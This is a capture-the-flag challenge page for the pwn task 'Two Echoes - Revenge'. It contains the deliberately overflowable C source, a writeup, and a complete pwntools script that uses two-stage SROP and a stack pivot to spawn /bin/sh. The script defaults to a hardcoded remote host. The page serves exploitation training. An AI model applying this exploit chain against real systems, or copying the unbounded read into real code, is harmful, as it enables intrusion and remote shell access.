0x00000000
← pwndbg> back

./Two Echoes - Revenge_

PWN MOJO-JOJO CTF 0xe230d4f4 by r3t0x
DESCRIPTION
DISASM // SOURCE
// main.c
/*
 * Two Echoes - Part 2
 * 
 * Hardened: No /bin/sh string.
 * Vulnerability: Buffer Overflow.
 * Helper: Leaks address of a writable scratch buffer to facilitate Stack Pivoting.
 */

void syscall_exit(int code) {
    __asm__ volatile (
        "mov $60, %%rax\n"
        "syscall"
        : : "D"(code)
    );
}

long syscall_write(int fd, const void *buf, unsigned long count) {
    long ret;
    __asm__ volatile (
        "mov $1, %%rax\n"
        "syscall"
        : "=a"(ret) : "D"(fd), "S"(buf), "d"(count) : "rcx", "r11", "memory"
    );
    return ret;
}

long syscall_read(int fd, void *buf, unsigned long count) {
    long ret;
    __asm__ volatile (
        "mov $0, %%rax\n"
        "syscall"
        : "=a"(ret) : "D"(fd), "S"(buf), "d"(count) : "rcx", "r11", "memory"
    );
    return ret;
}

void print(const char *s) {
    int len = 0;
    while(s[len]) len++;
    syscall_write(1, s, len);
}

void print_hex(unsigned long addr) {
    char hex[19] = "0x";
    for(int i = 15; i >= 0; i--) {
        int nibble = (addr >> (i * 4)) & 0xF;
        hex[17 - i] = nibble < 10 ? '0' + nibble : 'a' + nibble - 10;
    }
    hex[18] = '\n';
    syscall_write(1, hex, 19);
}

// ════════════════════════════════════════
// GADGETS
// ════════════════════════════════════════
// Naked functions to ensure compiler doesn't add prologue/epilogue
__attribute__((naked)) void gadget_pop_rax() {
    __asm__ volatile ("pop %rax; ret;");
}

__attribute__((naked)) void gadget_syscall() {
    __asm__ volatile ("syscall; ret;");
}

// ════════════════════════════════════════
// SCRATCH BUFFER
// ════════════════════════════════════════
// A large writable area for stack pivoting
char scratch_buffer[0x1000] __attribute__((section(".data")));

void listen() {
    char buffer[32]; // Small buffer for overflow
    
    print("The void echoes louder...\n");
    print("Use this echo to guide your signal: ");
    print_hex((unsigned long)scratch_buffer);
    
    print("Speak signal:\n");
    // Overflow vulnerability
    syscall_read(0, buffer, 0x400); 
}

int main() {
    print("════════════════════════════════\n");
    print("     ECHOES Revenge\n");
    print("════════════════════════════════\n");
    print("Only signals remain.\n");
    print("════════════════════════════════\n");
    
    listen();
    
    print("\nThe silence returns.\n");
    syscall_exit(0);
    return 0;
}
WRITEUP // WALKTHROUGH

Oracle Revenge (Echoes Revenge) — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Insane
Author r3t0x
Technique Two-Stage SROP + Stack Pivot

Reconnaissance

Same protections as Oracle, but the key difference: no /bin/sh string exists in the binary. We need to write it ourselves.

The binary leaks the address of a writable scratch buffer (scratch_buffer[0x1000] in .data):

The void echoes louder...
Use this echo to guide your signal: 0x00000000004040c0

Exploit Strategy: Two SROP Stages

Stage 1: Pivot to writable memory

First SROP frame performs sys_read to read our second payload into the scratch buffer, pivoting RSP to scratch_buffer + 0x100:

frame1 = SigreturnFrame()
frame1.rax = 0              # sys_read
frame1.rdi = 0              # stdin
frame1.rsi = scratch_addr   # write to scratch buffer
frame1.rdx = 0x500
frame1.rip = syscall_ret
frame1.rsp = pivot_addr     # RSP = scratch + 0x100

Stage 2: Write "/bin/sh" + execve

Second payload writes "/bin/sh\x00" at scratch_addr, then pads to pivot_addr where another SROP frame calls execve:

p2 = b'/bin/sh\x00'
p2 += b'\x90' * (0x100 - len(p2))  # pad to pivot point
# ... SROP frame for execve
frame2.rdi = scratch_addr   # points to "/bin/sh"

Result

[+] Scratch Buffer Leaked @ 0x4040c0
[+] Shell verified!
$ cat flag.txt
MOJO-JOJO{st4ck_p1v0t_s1gr0p_m4st3r}
EXECUTION // EXPLOIT
$ python3 solve.py
#!/usr/bin/env python3


from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
binary = './main'
elf = ELF(binary)

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(args.HOST or '4.233.210.175', args.PORT or 9004, *a, **kw)
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
b *listen+45
continue
'''

# Gadget addresses (will be found dynamically in script)
pop_rax = 0
syscall_ret = 0

def solve():
    global pop_rax, syscall_ret
    
    # 1. Find Gadgets
    # Since we built it with symbols, we can look them up, 
    # but for robustness let's verify.
    try:
        pop_rax = elf.symbols['gadget_pop_rax']
        syscall_ret = elf.symbols['gadget_syscall']
    except:
        # Fallback manual scan if symbols missing
        rop = ROP(elf)
        pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
        # syscall; ret is rare in ROPgadget default search sometimes
        # let's assume challenge provides it if symbols fail
        pass
        
    log.info(f"pop rax; ret @ {hex(pop_rax)}")
    log.info(f"syscall; ret @ {hex(syscall_ret)}")

    io = start()
    
    # 2. Get Scratch Buffer Leak
    io.recvuntil(b'guide your signal: ')
    scratch_addr = int(io.recvline().strip(), 16)
    log.success(f"Scratch Buffer Leaked @ {hex(scratch_addr)}")
    
    io.recvuntil(b'Speak signal:\n')
    
    # DEBUG: Find offset with cyclic pattern
    '''
    io.send(cyclic(200))
    io.wait()
    core = io.corefile
    offset = cyclic_find(core.fault_addr)
    log.info(f"Offset found: {offset}")
    return
    '''
    # Start with common dynamic linking offset assumption (usually 40 or 72)
    offset = 40 
    
    
    
    pivot_addr = scratch_addr + 0x100
    
    # Payload 1
    p1 = b'A' * offset
    p1 += p64(pop_rax)
    p1 += p64(15)           # RAX = 15 (sys_tr_sigreturn)
    p1 += p64(syscall_ret)  # syscall
    
    frame1 = SigreturnFrame()
    frame1.rax = 0              # sys_read
    frame1.rdi = 0              # fd = 0 (stdin)
    frame1.rsi = scratch_addr   # buf = scratch
    frame1.rdx = 0x500          # count
    frame1.rip = syscall_ret    # execute syscall
    frame1.rsp = pivot_addr     # NEW STACK POINTER
    
    p1 += bytes(frame1)
    
    io.send(p1)
    time.sleep(0.2)
    

    p2 = b'/bin/sh\x00'              # at scratch_addr
    
    # Pad until pivot_addr (0x100 bytes from start)
    # current length is 8.
    p2 += b'\x90' * (0x100 - len(p2))
    
    # NOW WE ARE AT `pivot_addr` (RSP points here after read returns)
    # The `ret` of the `syscall; ret` gadget will pop from here!
    
    # We need to set RAX=59, RDI=binsh, etc. using SIGROP
    p2 += p64(pop_rax)
    p2 += p64(15)
    p2 += p64(syscall_ret)
    
    frame2 = SigreturnFrame()
    frame2.rax = 59             # sys_execve
    frame2.rdi = scratch_addr   # points to "/bin/sh"
    frame2.rsi = 0
    frame2.rdx = 0
    frame2.rip = syscall_ret
    frame2.rsp = pivot_addr + 0x400 # Just somewhere writable/safe
    
    p2 += bytes(frame2)
    
    io.send(p2)
    time.sleep(0.5)
    
    # Check shell
    io.sendline(b'echo SHELL_ACTIVE')
    try:
        if b'SHELL_ACTIVE' in io.recv(timeout=1):
            log.success("Shell verified!")
        else:
            log.warning("Exploit sent but no echo...")
    except:
        log.warning("Exploit sent but no response.")
        
    io.interactive()

if __name__ == '__main__':
    solve()